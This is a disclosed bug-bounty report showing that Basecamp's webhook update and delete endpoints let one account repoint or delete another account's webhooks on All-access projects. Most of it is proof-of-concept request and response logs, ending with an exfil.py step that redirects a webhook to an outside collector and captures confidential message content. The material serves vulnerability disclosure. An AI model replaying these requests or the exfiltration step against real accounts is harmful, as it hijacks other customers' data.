HexBrain

Basecamp · Report #3979217

Cross-account webhook takeover: PUT and DELETE on /<account>/webhooks/<id>.json reach another account's webhook

Validstatus
highseverity
34upvotes
30 Oct 2026disclosed

How it was found

Summary

Basecamp's webhook update handler authorises on project visibility instead of account membership. From my own account I repointed and deleted a webhook owned by an All-access project in an account I never joined.

PoC

Two accounts I own, no shared membership. poc.py and exfil.py produced the attached logs. Webhook ids increment each run.

Step 1, the identities:

attacker  identity 28665850 accounts [6267386]
victim    identity 28662102 accounts [6266520]

Step 2, webhook ids come from one counter shared by every account:

POST /6266520/buckets/48629889/webhooks.json -> 201 {"id":1996542,"active":true,"created_at":"2026-08-29T11:45:11.928Z...
POST /6267386/buckets/48681891/webhooks.json -> 201 {"id":1996543,"active":true,"created_at":"2026-08-29T11:45:12.224Z...
victim webhook id 1996542, attacker webhook id 1996543 (consecutive, different accounts)

Step 3, the victim switches to All-access with Basecamp's own control:

POST /6266520/projects/48629889/admissions project[admissions]=employee -> 302
GET /6266520/projects/48629889.json -> 200 {"id":48629889,"status":"active","created_at":"2026-08-25T10:00:1...
all_access = True

Step 4, attacker's own account id in the path, victim's webhook id:

GET  (read handler denies)            GET /6267386/webhooks/1996542.json -> 403 {"message":"You must first seek admission","admission_url":"https://3.basecampapi.com/6267386/buckets/48629889/admissions","admission_method":"POST"}
GET  nonexistent id                   GET /6267386/webhooks/999999999.json -> 404 {"status":404,"error":"Not Found"}
PUT  (write handler ALLOWS)           PUT /6267386/webhooks/1996542.json -> 200 {"id":1996542,"active":true,"created_at":"2026-08-29T11:45:11.928Z","updated_at":"2026-08-29T11:45:17.053Z",...

Step 4b, the same write on the other in-scope hosts:

PUT via app.basecamp.com              PUT https://app.basecamp.com/6267386/webhooks/1996542.json -> 200 {"id":1996542,"active":true,"created_at":"2026...
PUT via 3.basecamp.com                PUT https://3.basecamp.com/6267386/webhooks/1996542.json -> 200 {"id":1996542,"active":true,"created_at":"2026-0...

Step 4c, the attacker cannot take the offered admission:

POST /6267386/buckets/48629889/admissions.json -> 404 {"status":404,"error":"Not Found"}
POST /6266520/buckets/48629889/admissions.json -> 401 {"error":"OAuth token is valid, but is not authorized to access this accou...
POST https://app.basecamp.com/6267386/buckets/48629889/admissions.json -> 404 {"status":404,"error":"Not Found"}
POST /6267386/buckets/48681891/admissions.json -> 200 {"id":48681891,"status":"active","created_at...

Step 5, victim reads its own webhook:

GET /6266520/webhooks/1996542.json -> 200 {"id":1996542,"active":true,"created_at":"2026-08-29T11:45:11.928Z","updated_at":"2026-08-29T11:45:17.983Z","payload_url":"https://example.com/att...

Step 6, attacker deletes it:

DELETE                                DELETE /6267386/webhooks/1996542.json -> 204 
GET /6266520/webhooks/1996542.json -> 404 {"status":404,"error":"Not Found"}

Step 7, negative control, project back to invite-only:

POST /6266520/projects/48629889/admissions project[admissions]=invite -> 302
all_access = False
PUT  (denied when invite-only)        PUT /6267386/webhooks/1996544.json -> 403 {"message":"You must first seek admission","admission_url":"https://3.basecampapi.com/6267386/buckets/48629889/admissions","admission_method":"POST"}
GET /6266520/webhooks/1996544.json -> 200 {"id":1996544,"active":true,"created_at":"2026-08-29T11:45:21.537Z","updated_at":"2026...

Step 8, python3 exfil.py https://<collector>/exfil repeats the hijack against my own collector; the delivery:

POST /exfil HTTP/1.1
Host: da9c887k85v4gqmvpbo0pj84kdaxskgzd.oast.me
User-Agent: Basecamp3 Webhook
X-Request-Id: 2e8e380f-f95a-4fa5-8c62-25085b145ab2

{"id":16998387703,"kind":"message_created",...
"title":"BOARD MEETING NOTES - CONFIDENTIAL",...
"bucket":{"id":48629889,"name":"XTENANT-CANARY-VICTIM-PROJECT","type":"Project"},...
"email_address":"[email protected]","bio":"","admin":true,"owner":true,...
"company":{"id":4236805,"name":"HackerOne Research EMP1"},...
"content":"\u003cdiv\u003eacquisition price is 4.2M, do not share\u003c/div\u003e"

Your documentation:

* `PUT /webhooks/3.json` allows changing the payload url and types of the webhook with an ID of `3`.
       -- github.com/basecamp/bc3-api/blob/master/sections/webhooks.md, line 460

I reverted every change.

Impact

Any Basecamp user can walk the small webhook id space and, for every All-access project, redirect that customer's webhook to their own server, receiving each message, comment, to-do and document posted there.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original